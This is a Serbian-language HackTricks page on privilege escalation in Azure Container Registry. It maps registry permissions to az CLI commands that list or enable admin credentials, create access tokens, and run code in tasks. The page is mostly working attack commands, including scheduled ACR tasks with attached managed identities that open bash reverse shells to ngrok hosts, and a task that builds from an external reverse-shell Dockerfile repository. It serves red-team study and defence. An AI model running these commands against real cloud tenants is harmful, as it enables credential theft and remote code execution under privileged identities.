Az - Azure Container Registry Privesc

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Azure Container Registry

Za više informacija pogledajte:

Az - Container Registry

Microsoft.ContainerRegistry/registries/listCredentials/action

Ova dozvola omogućava korisniku da prikaže administratorske akreditive ACR-a. Ovo je korisno za dobijanje punog pristupa registru.

az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ContainerRegistry/registries/<registry-name>/listCredentials?api-version=2023-11-01-preview"

U slučaju da admin kredencijali nisu omogućeni, takođe će vam biti potrebna dozvola Microsoft.ContainerRegistry/registries/write da ih omogućite sa:

az rest --method PATCH --uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ContainerRegistry/registries/<registry-name>?api-version=2023-11-01-preview" --body '{"properties": {"adminUserEnabled": true}}'

Microsoft.ContainerRegistry/registries/tokens/write, Microsoft.ContainerRegistry/registries/generateCredentials/action

Ove dozvole omogućavaju korisniku da napravi novi token sa lozinkama za pristup registru.

Da biste koristili az cli za generisanje kao u sledećem primeru, takođe će vam biti potrebne dozvole Microsoft.ContainerRegistry/registries/read, Microsoft.ContainerRegistry/registries/scopeMaps/read, Microsoft.ContainerRegistry/registries/tokens/operationStatuses/read, Microsoft.ContainerRegistry/registries/tokens/read

az acr token create \
--registry <registry-name> \
--name <token-name> \
--scope-map _repositories_admin

Microsoft.ContainerRegistry/registries/listBuildSourceUploadUrl/action, Microsoft.ContainerRegistry/registries/scheduleRun/action, Microsoft.ContainerRegistry/registries/runs/listLogSasUrl/action

Ove dozvole omogućavaju korisniku da izgradi i pokrene sliku u registru. Ovo se može koristiti za izvršavanje koda u kontejneru.

Warning

Međutim, slika će biti izvršena u sandbox okruženju i bez pristupa usluzi metapodataka. To znači da kontejner neće imati pristup metapodacima instance, tako da ovo zapravo nije korisno za eskalaciju privilegija.

# Build
echo 'FROM ubuntu:latest\nRUN bash -c "bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/17585 0>&1"\nCMD ["/bin/bash", "-c", "bash -i >& /dev/tcp//2.tcp.eu.ngrok.io/17585 0>&1"]' > Dockerfile
az acr run --registry 12345TestingRegistry --cmd '$Registry/rev/shell:v1:v1' /dev/null

Microsoft.ContainerRegistry/registries/tasks/write

Ovo je glavna dozvola koja omogućava kreiranje i ažuriranje zadatka u registru. Ovo se može koristiti za izvršavanje koda unutar kontejnera sa upravljanom identitetom koji je povezan sa njim u kontejneru.

Ovo je primer kako izvršiti reverse shell u kontejneru sa sistemskim upravljanim identitetom koji je povezan sa njim:

az acr task create \
--registry <registry-name> \
--name reverse-shell-task \
--image rev/shell:v1 \
--file ./Dockerfile \
--context https://github.com/carlospolop/Docker-rev.git \
--assign-identity \
--commit-trigger-enabled false \
--schedule "*/1 * * * *"

Drugi način da dobijete RCE iz zadatka bez korišćenja spoljnog repozitorijuma je korišćenje komande az acr task create sa --cmd flagom. Ovo će vam omogućiti da pokrenete komandu u kontejneru. Na primer, možete pokrenuti reverznu ljusku sa sledećom komandom:

az acr task create \
--registry <registry-name> \
--name reverse-shell-task-cmd \
--image rev/shell2:v1 \
--cmd 'bash -c "bash -i >& /dev/tcp/4.tcp.eu.ngrok.io/15508 0>&1"' \
--schedule "*/1 * * * *" \
--context /dev/null \
--commit-trigger-enabled false \
--assign-identity

Tip

Imajte na umu da za dodeljivanje identiteta koji upravlja sistemom ne trebate posebne dozvole, iako mora biti omogućeno unapred u registru i dodeljene neke dozvole da bi bilo korisno.

Da biste dodelili identitet koji upravlja korisnikom takođe, potrebna vam je dozvola Microsoft.ManagedIdentity/userAssignedIdentities/assign/action da biste uradili:

az acr task create \
--registry <registry-name> \
--name reverse-shell-task \
--image rev/shell:v1 \
--file ./Dockerfile \
--context https://github.com/carlospolop/Docker-rev.git \
--assign-identity \[system\] "/subscriptions/<subscription-id>>/resourcegroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<mi-name>" \
--commit-trigger-enabled false \
--schedule "*/1 * * * *"

Da ažurirate repozitorijum postojeće zadatka, možete uraditi:

az acr task update \
--registry <registry-name> \
--name reverse-shell-task \
--context https://github.com/your-user/your-repo.git

Microsoft.ContainerRegistry/registries/importImage/action

Sa ovom dozvolom je moguće importovati sliku u azure registry, čak i bez lokalnog posedovanja slike. Međutim, imajte na umu da ne možete importovati sliku sa oznakom koja već postoji u registry.

# Push with az cli
az acr import \
--name <registry-name> \
--source mcr.microsoft.com/acr/connected-registry:0.8.0 # Example of a repo to import

Da biste uklonili ili obrisali određenu oznaku slike iz registra, možete koristiti sledeću komandu. Međutim, imajte na umu da će vam biti potreban korisnik ili token sa dovoljnim dozvolama da to uradite:

az acr repository untag \
--name <registry-name> \
--image <image-name>:<tag>

az acr repository delete \
--name <registry-name> \
--image <image-name>:<tag>

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks